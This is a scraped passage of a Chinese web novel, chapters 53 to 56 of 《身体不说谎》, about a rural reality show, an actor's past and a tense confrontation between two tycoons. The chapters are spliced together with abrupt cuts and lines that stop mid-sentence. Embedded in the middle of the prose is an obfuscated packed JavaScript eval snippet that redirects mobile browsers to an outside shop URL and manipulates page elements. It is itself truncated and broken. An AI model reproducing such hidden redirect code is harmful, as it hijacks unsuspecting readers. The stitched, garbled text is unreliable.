江砚在流鼻血,但是他竟是像毫无察觉般,紧闭着双眼,不停地掐着自己的太阳穴,手背上的青筋可怖地分散开来,足以见得他使劲之大。 江邱抽出几张纸巾,也完全是顾不了太多,一下子糊到老板的鼻子,强行按住,力道差点把江砚带得砸向后座靠背。 “老板!对……对不起,我不是故意的。”声音越来越小。 男人眉头皱得紧,神色添了几分烦躁。 江邱按在老板脸上的手都在抖,因为怕弄疼他,一向冷静的他此刻内心有点慌张。 “流鼻血了,我们去医院吗?”江秘书从不擅作主张,这也是他跟在江砚身边能工作多年的原因。 见老板没有说话,而且眼睛一直闭着,他猜测可能是因为头晕实在是睁不开,而且鼻血才会一直流。 江秘书犯了难。 他此时其实只需要腾出另一只手拨打急救电话,然后保持动作不变,静静地等待医生就成。但可能是这几年共同搭档的时间,可能是这个上司一直对他不错,江邱的心也是肉长的,自然会有感情,所以在考虑事情上,有了尊重,也有了掣肘。 察觉到手指的湿意,江邱看过去,发现血色已经将那几张纸巾完全浸透,而鼻血完全没有要停的意思。 情况有点糟糕,且江砚神智也不清醒。 “老板,我们去医院。” 这一次江秘书决定自己做主,哪怕事后老板生气,他也认了。 他说完这句话,用左手按亮手机,正要拨打急救电话,突然感到右手下的动作,于是急忙扭过头。 “没事了。”男人睁开眼睛,额头上都是汗,说话气息不是很稳,吐字很慢。 “老板。”江邱由忧转喜。 江砚拿帕子捂住自己的鼻子,低低地“嗯”了一声。 他的几缕碎发被汗打湿,眉头舒展开来,只是肤色还有点苍白。 江秘书放下心来,问老板:“头不疼了吗?” “没事,去开车吧。”江砚能感觉到鼻血已经不怎么流了,浓黑的眉毛下,因为刚经历过一场大汗淋漓的痛苦,这会儿的眼睛反倒比平日多了几分精神。 “……”江邱欲言又止,想要劝点什么,最终还是点头说道,“好的。” 又看了看他的确没有什么大碍,才去到驾驶座,开车前往下一个地点。 …… 烟花消失在天空,驻足抬头的行人像是被按了启动键一般,纷纷开始了行动,世界再次恢复喧闹的场景。 萧童离开后并没有急着回家,而是去到一个饭馆简单地吃了点饭。 餐馆是一对夫妻经营的,他们面带笑容,十分亲切。 要的鸡蛋面端上来后,萧童低声说了声谢谢,正要拿筷子,桌子对面突然坐下了一个人。 她没抬眼,捏着筷子放到面碗里。 “老板,一碗混沌。”一道男声在她的对面响起。 萧童愣住,半晌才不敢置信地抬头,看向了前方。 赵柯扭头冲老板说了这么一句话后,转过身体坐直,察觉到视线,他面无表情地看去。 戴着银框眼镜的女生神情错愕,夹面条的手就僵持在半空,整个人怎么看怎么奇怪。 他皱了下眉,尽量不显现自己的心中的不悦,目光转向了门外。 余光里奇怪的女生还在直愣愣的盯着他,赵柯默不作声地起身,换了个位置。 不过店里其他桌子都有了客人,于是他也只能错开一个位置,坐在女生的斜对面,虽然是同一张桌子,好在没有那种近乎赤裸的目光让人心生烦躁的感觉了。 萧童看到对方的动作,心里倏地抽了一下,鼻头有点酸。这种感受让她很快回过神,从那种剧烈的震惊中勉强找回理智,于是她有点慌忙地收回视线,聚焦在面碗里。 准确的说,她瞳孔散乱,压根没有聚焦,显然大脑还在持续宕机中。 “这是你要的混沌。”老板娘的声音响起,萧童不自觉地看向斜对面。 赵柯接过来,说:“谢谢。” 老板娘的身影离开,他的视线来不及收回就与女生对视个正着。 对方这一次却急忙低下头,没有再用奇怪的眼神看他。 赵柯本就话少,但是对外界的感知是处于一种既模糊却又敏感的境界的,他敏锐地感知到了女生那震惊中夹杂着的微妙欣喜,但是又几乎冷漠地否决了这种猜测,最终选择置身事外,专注自己。 萧童眼皮垂着,静静地盯着碗中的面汤倒映的灯光几秒,慢慢地,她的嘴角向两边拉出一个不露齿的微笑。 这个笑很细微,也很短暂,紧接着,她像一如既往那般,埋头狂吃面条,看样子吃得非常香。 餐馆进进出出很多人,玻璃门上的风铃会随之响动。 萧童很快吃完了面,从桌子上的免费纸巾盒里抽出一张兀自擦着嘴。 余光里,斜对面的男生好像也吃完了站起身,去前台付了钱后转过身。 萧童为了不与人对视上,有点刻意地扭头看向旁边的墙壁。 虽然她已经竭力让自己不在乎了,但是当那个身影从她桌子旁边经过,衣角轻轻擦过,带起了一片微风时,她心里还是不可遏制地紧缩了一下,停顿了一下还是追出了门。 赵柯已经远去,萧童愣愣地看着那个背影,渐渐地,与过去里黑夜中的那个身影重合在一起。 “OK,今天就到这儿了,收工!” 导演亲自发话,各个部门的人陆陆续续地收拾场地和装备。 “赵老师,辛苦了。” 同剧组的女演员和赵柯搭完戏后,笑着对他说了这么一句。 “你也辛苦了。” 男生那时还没有过分清瘦,脸型流畅,五官清俊,碎发搭在眉毛上,露出深邃的眼睛,盯着人看时,从侧脸看去,会显得很深情。 虽然剧组里的大家都知道,赵柯看个电线杆都是这种眼神,但是每每与他对视还是会不自禁地紧张。 饰演女主的女演员是个年龄比赵柯大几岁的姐姐,看 53. 拯救灵魂 《身体不说谎》全本免费阅读 女孩抓着赵柯的手又紧了紧,身体往他的身后藏。 追到面前的几个大汉上身光着膀子,面露凶色,语气不善:“年轻人,我劝你少管闲事。” 助理被对方的气势镇住,但还是鼓足了勇气站在赵老师的面前。 不过赵柯完全没有当缩头乌龟的意思,他拍了拍小助理的肩膀,示意他退后,然后目光友好地冲那些人道:“你们说她是小偷?偷了什么?” “你问她啊!”其中一个中年男人滋着牙说道。 赵柯低头,与拽着自己衣服的女孩对视,轻声问她:“你拿他们东西了吗?” “……” 女孩沉默。 “只要你诚实说,哥哥我会帮你的,放心。” 也许是男生的神情太过温柔,女孩内心有所松动,面色有点犹豫。 “少特么废话,把人交给我们,自个儿滚蛋!”那些人开始不耐烦,眼看着就要逼上来。 赵柯没有丝毫慌乱,不急不慢地摸了摸她的头发,继续说:“相信哥哥。” 这时,女孩终于有了动作,拿出一直藏着身后的东西——一张皱巴巴的百元人民币。 与此同时,她小声地说道:“我……不是故意的。” “嗯,我信你。”赵柯笑容很浅,但是语气像在哄小孩子。 说完这句话,他拿过女孩手中的钱递给那些个大汉。 “给。” 有人上前粗鲁地抢了过去,本以为事情就此结束,没想到对方见赵柯穿着不便宜的样子,心生歹念,准备敲诈一回。 “我亲眼看到,她可是拿走了两百,这钱还不够啊!” “就是就是,别以为我们好糊弄。” 助理嘴都气歪了,也不知哪来的底气,扬了扬手中的手机,说:“你们可知敲诈勒索可是触犯法律了吗?再这样,我可要报警了!” 他还没说完,突然被一人上手推搡了一把。 “别踏马给脸不要脸,你知道我们是谁吗?别说警察,就是天皇老子来了,咱们也不见得怕的!” 助理火腾地就冒起来了,还未见过如此横不讲理的人群,他不服气地还手推了对方一把,冲人愤怒道:“现在可是法治社会!你们太无法无天了!” 那人见状,目光里闪过狠色,想也不想就举着拳头冲小助理砸来。 “砰!” 想象中的疼痛并没有到来,助理睁开眼,就见赵老师握着他的肩膀,把他往侧旁推了一把,自己硬生生挨了一拳。 他震惊了,对方打人的那个汉子也震惊了。 “这……这可是你自己撞上来了啊!不怪我!” 动静太大,路人纷纷停下脚步议论纷纷,眼见事情不妙,那些人终于不再纠缠,狠狠地冲赵柯他们啐了一口,才有点慌乱地跑进了巷子。 “赵老师,你没事吧?”助理已经管不了那么多了,内心十分愧疚,“都怪我逞能,对不起。” 赵柯摇了下头,说:“没事。” 他舔了舔口腔伤口位置,痛感让他不自禁地闭了下眼睛。 助理站在一旁,手足无措。 “对不起。” 瞧他神情都要哭出来了,赵柯无奈地笑:“这件事从始至终都是我自己主动介入的,跟你一点关系都没有,所以你没伤着,我反而很感谢。” “赵老师——”助理听着这话,差点感动得泪崩,世界上怎么会有如此善良的人啊。 “嗯,我真的没事。” 男生脸颊这会儿红肿了起来,但是帅气不减,反而有种破碎倔强的美感。 女孩全程将这些看在眼里,有什么东西在心底无声地种下了种子。 赵柯没注意女孩的视线,只是见助理实在愧疚,就想了个法子,说:“现在药店应该还没关门,可以请你帮我去买点消肿的药吗?” 小助理的眼睛一下就亮了,阴霾一扫而空,连着点了好几次头,语气都变得轻松了一些:“好的,没问题!” 人离开后,赵柯才低头看向女孩,那种骨子里透出来的温柔让他的眼神有了力量一般。 “你叫什么名字?” 女孩子手腕很细,脸上脏兮兮,但是依稀可以看到五官长得还不错。 她抬头短暂地与帅气哥哥对视一眼就飞快低下头,也不说话。 “嗯……”赵柯拉长声音,看了看女孩的头顶,体贴道,“不说也没有关系。” 女孩的手指动了动,慢慢地,她放开了对方的衣角。 赵柯有点意外,嘴角轻扬,然而下一秒就见女孩右脚蹬地,转身就跑。 他眼疾手快地捉住人,提着小女生的衣领不让人跑。 “不是,你跑什么?”他不解,“哥哥刚还帮了你的忙呢?是不是不想负责啊?” 女孩被当场抓包,尴尬至极,好在不跑了,只是头垂得更低了。 赵柯看得好笑,只是笑还没扩大就被红肿的右脸生生疼得“斯哈”了一声。 一直低头的女孩急忙抬头看去,神情明显很关心。 赵老师见状,索性捂着自己的脸,卖惨道:“我的脸好疼啊。” 女生个子不高,身形也比常人瘦弱得多,听着这话,嘴一瘪,眼睛里顿时有了泪水。 “对……不起。” 她话说得断断续续,嗓音哽咽,一说完,眼泪就掉了下来,耷拉着肩膀站在空地上,用明显宽大很多的衣袖擦眼睛。 赵柯心想:还是小孩子呢。 他也不知为何突然松了口气,走过去牵着女孩子的手到一家门店的前面台阶前停下。 “坐下,”赵柯也不管台阶脏不脏,提了下牛仔裤坐下,示意女孩也坐,“哥哥我有话对你说。” 女孩子的手藏在衣袖里,再次擦了擦眼睛,才听话地走到男生的侧旁抱腿坐下。 赵柯的大长腿往前搭着,手臂撑在后面,抬头看着夜空,犹自说起了话。 “我其实挺羡慕那些高中读完又接着读大学的人,他们按部就班地学习,等到大学毕业后又可以找工作养活自己。而我不一样,我高中没有读完就年纪轻轻地进了娱乐圈,其实我对演戏没有兴趣,我感兴趣的是钱。” 他扭头冲认真听他说话的女孩笑了一下:“哥哥我是不是很市侩?” “但是无人知晓,当时的我毫无选择。我的爸爸生病了,还赌博欠了一屁股的债,那些追债的人每天在我的学校门口堵我,每天也来家里滋事打人。那样的时光里,我厌恶极了自己没钱的样子,所以当星探找到我时,我几乎是上赶着让对方把我带进娱乐圈。 “然而从此,我便不能做回自己了,商业包装的人设,让我渐渐展露头角,轻而易举的钱财让我彻底迷失。我亲手弄丢了自己,且再也不能回头了……” 男生说到此处,神情落寞下来,那周身弥漫而开的孤独在某一个瞬间,女孩感知到了。 “哈啊……”赵柯吐出一口气,将脚收了回来,一同收起来的还有那难得显露的脆弱。 “哥哥信你,也愿意相信你,知道 54. 冬季拍摄 《身体不说谎》全本免费阅读 要是时间永远定格在那一刻就好了。 后来的萧童总是无数次这样想。 前方的人影已经淡地像是快要消失在人间一样,不知是对方没认出她来这一点带来的失落,还是看到他如今物是人非的状况,她突然感到难过,没来由的。 行人熙熙攘攘,吃饭的餐馆旁边就是一个广场。 那个地方好多好多人啊,有人在唱歌,有人在跳舞,每个人看上去都那么喜悦。 对面马路那条街道,成排成排的是装修豪华的服装店,这会儿正在营业,放着音乐。 这个世界很热闹,但这份热闹与他无关…… 《种田吧》冬季拍摄正式开始了,原班人马,五个嘉宾。 看着眼前的小屋,肖乐保发出一声感叹:“真怀念啊。” 明明只是过了半个月,但是却有种恍然如梦的感觉。 大坝里堆满了枯叶,厨房里家具都发了霉。 肖乐保的行李丢在外面,边查看房间边撅着嘴,啧啧称奇:“要说节目组好吧,他们放任小屋日渐变样,要说不好吧,好像也没丢什么东西,你说是吧?大哥。” 和男生一同到达的就是程三好,她懒得跟在肖乐保身后转,闻言只是点头又摇头。 “不是,你什么意思啊?大哥。”肖乐保看笑了。 女生戴着墨镜,纤细的脖子微微扬着,搞得还挺高冷。 她静静地盯着他几秒,然后才懒洋洋地开口:“你说的都对。” 肖乐保:“……” “你变胖了,大哥。” 程三好:“……” 她拿下墨镜,温柔地咬牙切齿:“你再说一遍。” “我说,你变胖了,”肖乐保典型地又菜又爱玩,疯狂地在对方雷达上蹦迪,偏偏还神情特认真地解释,“你看,你的脸有没有稍微张了点肉。” 的确,自从黎芳园来了以后,程三好按时吃饭的频次高了,伙食也是一整个大幅度地提升,所以才个把星期,她的体重就上去了。 不过还真称不上胖,原先身材太过清瘦了,这会儿有点肉,反倒衬得人面色好看很多。 道理她都懂,只是看到肖乐保嘚瑟的样子,她的拳头硬了。 于是男生贱兮兮的笑还没持续几秒,就被对方用实力打断。 “噢……”女生冲着他的腹部就是一拳头,肖乐保表情夸张地张大嘴。 “怎的如此?大哥,我说实话,也错了吗?” 程三好实际上压根没用力,只是吓唬人,没想到这人还演上了,宛若脆弱可怜的小白花。 “是太长时间没见了吗?你怎么变得如此绝情!”他语气控诉,手指颤抖,一副难以置信的样子。 程三好被太阳晒得微微眯眼,能量已经耗尽了,不打算和他掰扯,哂笑道:“你不当演员可惜了。” 谁曾想男生还扭捏上了,抛了个媚眼,矫情吧啦地道:“大哥你……不必如此夸我。” 女生扭头看了一眼侧旁,表情有点要笑不笑的意思。 小屋屋顶站着几只麻雀,胖嘟嘟的身体,圆溜溜的脑袋。 它们啄了啄身上的羽毛,突然听到下面传来一声真切的惨叫。 小麻雀们惊呆了,一时间整齐地停下动作,转瞬展开小翅膀飞离这个非鸟待的地方。 韩小希从车里抬腿下来,短发在风的吹拂下飞扬飘舞。 她的头发看样子才刚修剪不久,有点毛毛躁躁的。 顶着这一头将炸不炸的头发靠近小屋,远远地就看见地上趴着个奇怪生物。 她踱着小碎步来到肖乐保跟前,疑惑道:“你搁这儿干啥?” 男生抬起头,满脸的生无可恋。 “我大哥不爱我了。” “什么?”韩小希震惊,“她从来就没爱过你啊。” “……” 眼见他的嘴撅得越来越长,韩小希一言难尽:“快起来吧,待会儿变异了的。” 肖乐保短短几分钟就遭遇了几点暴击,一脸心累的样子,挣扎着爬起来,低头拍了拍衣服上的灰,嘴没停下。 “哎……你们这群人真的带不动,太冷酷无情了。” 韩小希没接他的茬,满脸八卦地靠近他,撞了撞他的肩膀,神情揶揄:“喂,听说你拒绝了许琪的告白?” 肖乐保脸可视化地冻住,五官僵硬住,跟个雕塑似的,语气干巴巴:“嗯,是。” “她人长得那般漂亮,过了这村可就没那店了。”韩小希斜觑着他。 “你长胖了,说真的。” “啊!” 男生的脑袋再度被敲了一榔头。 韩小希气得头发有想法似的,要离家出走,她动完手摸了摸头,安抚了自己的炸毛扬长而去。 肖乐保蹲在地上,双手抱头,哎哟来哎呦去的,声音拉得老长。 就在这时,眼前出现一双淡银色的高跟鞋。 他顺着视线抬头,看见了许琪。 “你……来了啊。”肖乐保顿时尴尬至极。 许公主“嗯”了一声,不躲避他的目光,直视着人,瞧着挺淡定。 肖乐保眼神瞥向别处,一时间竟然没有说话。 余光里女生并没有离开,反倒伸出了手。 肖乐保懵逼,愣愣地盯着那只纤白的手。 视线里,那只手动了动,它的主人的声音在头顶响起。 “起来吧,” 肖乐保抬头,对方面上带笑,缓缓说出下一句:“兄长。” 身处厨房窗边的韩小希看着这一幕,倒吸一口气。 旁边是她强行拽来的程三好,面无波澜。 肖乐保不知道揍他头的两个人正躲在暗处明目张胆地看他,只是听到许琪这样的称呼后,他回过神后拉住那只手借力站起身。 “……长大了啊。”他突然有点感慨,心里五味杂陈。 许琪松了手,退后几步,只是道:“生日礼物不喜欢。” “啊,那等你下一个生日的时候,我提着人头来见你。” 许公主不自禁地笑了声,耸了耸肩,说:“行,到时候我倒要看看。” 肖乐保也笑:“我肖勇士何时说谎,你就期待好了。” 阳光下,少男少女的微笑,身后是空阔的田野。 韩小希看着这一幕,露出欣慰的笑容。 她扭头正要说话,一看旁边,哪还有什么人啊。 …… 几人一同合作,将屋里屋外打扫得很干净。 等到可以喘气休息的时候,天色将晚。 张导找到他们,说:“你们前不久买的母猪,得尽快接回来,地里的活也有很多,需要焚烧秸秆,用旋耕机翻土,等年后回来种植才能种得下去。” 肖乐保问出关键:“旋耕机我们没有啊?” “那是你们的事情。” 55. 忙碌的一天 他扭头的过程很缓慢,抬眼看向程三好。 女生单手支着下巴,神情瞧着不像开玩笑。 “你脸真的很俊俏啊。” “是吧,许琪?”她还询问看戏的许公主,试图作证这一事实。 “……对。”许琪眨了几下眼睛,没明白女生这样问的含义,只能下意识琢磨问题,得出答案。 “所以你看吧,”程三好心情不错,撑着下巴的手松开,食指平指向男生,“头发再修剪修剪,肯定会更帅不是吗?” 赵柯这才完全理解,她夸人完全就像夸一汪清泉,一弯明月一般,完全是对美丽的事物欣赏一样。 他嘴角要翘不翘的,不自在地抖了抖额头的碎发,半晌低低地“嗯”了一声。 程三好眼里有了笑意。 …… 第二日清晨起了大雾,整个村庄朦胧着,像一场梦境,瞧不真切。 程三好有点认床,所以早早地就醒了,来到厨房给大家准备早餐。 她用个铁锅接满水放到电磁炉上,按下开关后,就懒着身体靠在悬挂橱柜旁。 不稍片刻,水咕噜咕噜地冒泡,她就将方便面放进去,筷子不停地搅拌,煮一会儿后加入小青菜和切片香肠,最后加入料包再翻滚均匀即可。 她单手拎锅拿到火炉的铁板上,正要去叫人来吃早餐,刚一转身,就见门框边堆着一个个脑袋。 见她看过去,几人嘴都咧到了耳边,自觉地进门拿碗盛面。 可能因为是早上,大家的兴致都不高,默不作声地吃完了早餐。 肖乐保将汤汁给吸溜干净,放下碗才说:“我问张导说我们要怎么租到旋耕机呢,他硬是不说,所以我想了想,只能上镇去了,找那些卖机子的老板谈。” “不,”韩小希对这种事有点了解,“与其这样,不如去跟村民租,这样的概率大些,你镇上的那种店,人家老板不干的,因为他的机子都是崭新的嘛,怎么可能租给你。” “这样啊。”肖乐保想起了以前去借东西时的恐惧,这会儿对那些家养的狗还有阴影。 韩小希扯着一边嘴角笑:“怎么?害怕了?” 肖乐保胸脯顿时挺得老高,嘴硬道:“说谁呢?” “说你呢。”程三好从他的背后走来拍了下他的肩膀,拿过他一直端着的空碗。 肖乐保不服气:“好,就按你们说的这样办,我待会儿肯定会去的。” “不用待会儿,就现在吧。”程三好准备和赵柯一起找韩老伯确认一下母猪的情况,索性大家一路了。 肖乐保没说话了。 越往村里走,人间烟火气越重。 家家户户的旁边或多或少地都种植了绿色蔬菜,看上去养眼极了。 而小屋旁边的菜地里他们种植的,虽然长大了些,但是还没到可以食用的时候,程三好最期待的就是这个了。 走到一条分叉路时,大家分队而行。 程三好他们二人没走多远就到了韩老伯家,门口的那颗苹果树这会儿叶子基本上落光了,枝干光溜溜的,瞧着挺凄然。 韩老伯正拿着扫把在院落里扫地,听到有人喊他才转过身看过去。 “爷爷,近来可好?”女生刻意放大了嗓音,就怕老人年纪上来听不到。 韩老伯满是皱褶的长脸笑起来,喉咙里依旧像咯痰一样,声音很含糊:“哎,好,都好。” “快,屋里坐。” 他驼着的背已经伸不直了,手不太灵活招呼客人。 客厅不大,但布置得很温馨。 韩老伯走在前面,示意他们坐,自己准备去拿杯子倒水。 他的动作很慢,程三好连忙说道:“不用了,爷爷。” 老头儿很固执,他回头招手:“坐下,我又不是连简单的倒水都做不到。” 程三好不再劝,犹豫了下还是坐下了。 韩老伯取出两个一次性纸杯,在饮水机下接满,才一步接一步地朝他们走来。 “来,喝点水。” 二人双手接过来,都道了谢。 “哎呀,上个礼拜我经过你们那个小屋,见挺荒凉的,还以为你们不拍了呢。” “节目组给我们放了几天假,”程三好握着水杯,倾身与老人说话,“后面我们还要继续录制的。” 韩老伯听她这样说,就问:“那个母猪还要吗?” “要,”女生笑笑,“我们过来就是为了此事。” “嗯……”老头儿神色看上去有点忧虑。 “怎么了?”程三好有了不好的猜测。 “母猪一开始你们就买了,定金也给了,所以肯定会给你们。但是……”韩老伯摘下帽子,挠了挠光头,“我有点担心,因为母猪不久就要产崽了。” “这的确是个问题,”程三好沉吟,思考了下抬眼说,“没事,我们会好好看着,就是等到它分娩的时候,希望你可以指导帮助我们。” 韩老伯满意了,说:“什么希望不希望的,到时候你们知会我一声,千万不要拘谨。” “好。” “哦,对了,你们猪圈搭建了吗?” 程三好:“还没有,所以想咨询你一下具体是要用到什么资料以及搭建步骤。” “冬天来了,就不能让母猪待在简陋的棚里,你们需要上镇上买那种红砖、沙子、水泥等,好好搭个小房子,地上铺上干草,还需要一种暖光灯以供母猪取暖……” 韩老伯当真是不啬赐教,看来他对那只自己亲手养大的母猪是很有感情的。 程三好不敢托大,仔细地在手机备忘录里记下。 赵柯从始至终都跟个透明人似的,主打一个陪伴。 等二人收集好资料回到小屋,肖乐保他们已经成功租到旋耕机下地了。 反正天色还早,程三好和赵柯索性开着那张自家的三轮车去镇上,将建筑材料全部买回来。 选中一块地后,学习能力超强的他们在看了网上几个教学视频后开始搭建起猪圈。 毕竟只是一只母猪,而小猪崽的长大也需要时间,所以不需要建造得多大。 他们把地基打好,接着就是四周围墙。 房顶不是平房的那种,而是利用墙壁做了一个斜坡,再用彩钢瓦一层压一层地铺陈开来。 忙碌起来,时间总是跑得很快。 太阳从头顶渐渐落到远山,出村口的石子路两边都是高大粗壮的白桦林。 两人一直忙到伸手不见五指,才在肖乐保的呼唤中勉强停下,回到小屋吃晚饭,简单洗漱后,连会都没开,就沉沉地睡去。 早上阳光照进了卧室,女寝里的上铺边沿搭着一只无力的脚。 程三好废了好大的劲才关了闹钟,身体稍微一动,那酸爽简直了。 上身都还好,等她动下肢的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12851911|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才是真正的生不如死。 大腿硬得跟个石膏似的,程三好试着移动一下,立刻被那酸痛感惊得“斯”了一声。 刚从卫生间出来的韩小希见状,控制不住地想笑,奈何整个胸腔都要散架了,一笑,腰就疼,结果就是一会笑一会痛苦面具的。 她一瘸一拐地靠近床边,还有心思笑程三好:“下不来床了?” “你也好不到哪里去啊。”女生仰躺着,语气生无可恋。 韩小希他们翻地的确也很辛苦,又是隔了一段时间才来重新种地,所以昨天大家或多或少都有肌肉拉伤。 下铺的许琪这会儿还在睡,她龇牙咧嘴地给人将落在地上的被子捡起来。 “真是钱难挣,屎难吃,要了命。”韩小希彻底被折服,只能吐槽。 程三好唯一能动的手在空中挥了一下,有气无力地说:“加油,挺过这段时间就要轻松很多了。” “希望是吧。” 猪圈因为搭的不是很大,所以花了两天的时间就搭建完成。 程三好和赵柯一起去把母猪迁回来那天下着小雨。 他们二人并没有带着雨伞,只能淋着回来,好在雨不大,均未感冒。 韩老伯随他们一同来了小屋,看到他们建立的猪圈,表情满意地点了点头,叮嘱人:“母猪还有十天左右可能就要产崽了,在五天前,你们就要有意识地开始拿一个人守夜,以防母猪在夜间破了羊水没发现,到时候它是没有意识的,可能会踩死自己的孩子。” 程三好戴着手套给石槽里加满猪食,闻言应了一声。 “待会儿爷爷你先不要走,留下来与我们一起吃饭吧。”她直起身说道。 韩老伯摇头,拒绝了:“不用了,我今天还要上山割松果卖,就不劳烦你们了。” “一点都不劳烦,我们中已经有人在做午饭了,马上的事儿,一点也不会耽搁你的。” “真不用,不过我倒是有件事想要告诉你们。” “什么?” 天气已经越来越冷了,韩老伯却像感受不到寒冷似的,穿得还很单薄。 他想到此事,眼角的喜色想掩都掩盖不住。 “就是我孙子后天就满月了,到时候要办个酒席,你们还有节目组要是来,我会很欢迎。” 程三好挑眉,停下手中的动作,扭头看老头儿,十分捧场:“首先恭喜爷爷,其次我们肯定会去啊,真的太感谢你能邀请我们了。” 韩老伯赶紧摆手,道:“哎呀,反正到时候你们人到了就行,也不要带什么礼金啥的,不然显得我老韩人小气。” “……”程三好表面答应,“好。” …… 津市,赤鸟湖。 一栋风格偏古风的私人豪华别墅里,两方势力正在对峙。 韩至接到消息后回到家,一眼就看到了巨大的庭院里停着三四辆黑色越野车,还有一辆被簇拥着的宾利车。 其他车子的人肩宽体阔地站在旁边,一溜烟儿地身穿紧身黑T,下身一条黑色工装裤,脚踩登山靴子。 他们剃着寸头,个个身高均在一八零以上,挺直腰背背着手,面容冷肃。 肌肉发达却不夸张,统统一副蓄势待命的样子。 瞧着家门口的这个状况,韩至没有表露丝毫的慌乱,浪荡地笑着,慢悠悠地走向草坪。 “江总手下的这批人还挺帅啊。” 56. 剑拔弩张 宾利车横停在路中,后座的车窗降下,露出男人棱角分明的脸。 他没有说话,只是手在空中下压了一下。 看懂指示的兄弟立马调转身体,准备冲进房间。 房子的大门畅着,韩至的管家带着几个干杂活的临时工堵住门口,爆声呵斥:“你们要干什么!” 他张开双臂紧紧地撑住门框,神情愤怒:“擅自闯入私人房宅可是犯法的!你们给我站住!” 韩至像是没看到自家管家和佣人脸涨红的样子,自顾自地走到台阶上,伸手拍了拍江砚的手下。 “兄弟,让让,你挡着我的路了。” 那位黑衣男人看了一眼旁边站着的江邱,对方冲他点了下头,于是他便二话不说地退开。 韩至站到了最上面的台阶,转过身看着车里的男人,盯了几秒,也不知想到了什么,他嘴角微勾,倾身向前,语气轻松:“江总这般不请自来,我也不知道用什么招待你,不如……” 他的眼睛微眯,话锋一转:“让我的人也陪你玩玩。” 话音落地不到一秒,管家背后房间便涌出十几个着装整齐,训练有素的保镖。 虽然那些人穿着清一色的黑西装,但从那要撑破衣服的肱二头肌来看,显然很有本事。 一直嚷嚷的管家安静下来,神色得意地抱手站在韩至身后。 江砚从始至终脸都没有表情,这会儿才像想起了有韩至这个人一样,给了他一个眼神,嗓音清冽:“韩总这么大的别墅,藏着那么多的人,不如让他们全部出来,我好见见世面。” “哎,江总说笑了,要论世面排场……”韩至抬手指了一下周围的人,神情揶揄,“谁有江家足啊。” “是吗?”车中的男人轻笑一声。 对方那种底气十足,自信松弛的样子,完全是自幼身处高位,手握富贵,见过世面,或者就是“世面”的中心成长带来的自然而然的气质。 他自己本人可能都没发现,或者也不在乎,他在看向他们这些人时,眼神中带着点屑屑的轻蔑感。 怕是连只蝼蚁都算不上。 韩至第一次直观地感受到这种人,他们不像韩大那些人一样,将恶人的面孔恨不得时刻挂在脸上,幼稚地以折磨人为乐趣,也不像圈中看不上他嘲讽他的那些人一样,将讨厌的目光死死定在他身上,生怕他日子好过一点。 而江砚不同,他是压根没把人当回事儿。 这种认知让韩至这一刻内心终于有了裂痕,身体灵魂深处的自卑像怨灵一般横冲直撞。 他竭尽一生都在摆脱耻辱的出身,不断地搞钱,不断地用实力证明自己,成功站到自己的哥哥和父亲面前,看到他们央求自己不要收购他们公司时的可怜样子,他心里十分痛快,以为这就是他要的一切,以为他已经成为了很多人攀不上的津市新贵。 走到今天,那些过去骂他嘲笑他的人现在都要看他脸色行事,巨大的爽感迷惑了他的双眼,以至于此刻,幻梦被人生生撕开的那一瞬间,他无处遁形。 他从来没有如此清晰地认识到一点,就是他再怎么隐忍,再怎么向上爬,还是会有人俯视着他。 可能是伪装太久了,咋一瞬间被点醒,韩至的嘴角僵硬,脑海中竟然久违地闪过某个人的面庞。 就是这电光火石间的刹那,他迅速找到了实感,恢复那副放荡不羁的样子。 韩至摸了摸自己左耳上那颗黑色耳钉,将情绪转换做得滴水不漏。 “这都什么年代了,大家和气生财嘛。” 他向后一挥手,保镖们有序地隐入了房间。 “江总也是,有话也好好说,非要那么大动干戈的干什么?” 江砚没说话,周围的人也没动。 氛围僵持住,显然对方今天是一定要得到想要的东西才肯罢休。 韩至见状,知道自己想要用那人获取什么筹码是不成了,于是冲管家懒洋洋地说道:“把人交给他们。” “二少爷!这……”管家得意的嘴脸垮成一团,十分不解,“这可是我们好不容……” “去!”男人声音大了些。 管家手握成拳头,看上去非常愤怒且憋屈,最后瞪了一眼江邱才转身进了屋内。 韩至余光里见管家走了,严肃的面孔绽开一个笑,摊手道:“我的人就不如你的听话。” 这时车门自动向后方缩去,一条大长腿跨了下来,轻松地踩中地面,紧接着,男人身体完全暴露,整个人姿态松散地下了车。 黑色的皮鞋十分有质感,搭配着剪裁十分得体的黑色西装裤腿,一整个张力爆棚。 男人站直身体,扭了扭腕表,这才闲庭信步地拾阶而上,走到和韩至同一水平线位置。 下方都是抱臂或站或倚靠车身的黑T男,别墅院落的雕花铁门向两侧敞开着。 价格昂贵的草皮被车轮子碾压着,不远处的赤鸟湖泛着粼粼波光,白色的海鸥成群地在天空自由飞翔。 一股风吹来,裹挟着湖水的潮湿清新的味道。 台阶上的二人侧身正面相对,衣角微微飘拂。 “人你是怎么得到的?”江砚气势不凌厉,神色如常。 “从我那个兄长手中邀请过来的。”韩至没想隐瞒。 江砚勾唇,手搭在自己的腰上,说:“那你哥真是好本事,可以把一个关在监狱里的人搞出来。” “我不知道。”韩至挑眉。 “先不说江权清越狱,你哥存在帮凶的嫌疑,就说你现在的行为,可是窝藏犯罪分子的重大罪责。” “我说了,我不知道,只是去了老宅一趟,见识到江叔的谋略,才邀约到我寒舍,向他学习学习这经商之道。”韩至表情诚恳,装得一脸无辜。 “话说,”他微微靠近江砚,语气好奇,“你说你二叔是犯罪分子,那他是犯了什么罪啊?就我上网所了解到的,无非是滥用职权,贿赂公司人员这一点,那按照法律怎么着也不会判处个无期徒刑吧。” 江砚没顺着他的话说,只是饶有兴趣地看着人,说:“你要向他学习经商之道?何必如此谦虚,比起他的手段,你可不逊色。还有……” 男人顿了一下,眼皮一掀,像是混不在乎又像是意有所指:“热蔷高端会所的背后老板,我也挺好奇的。”
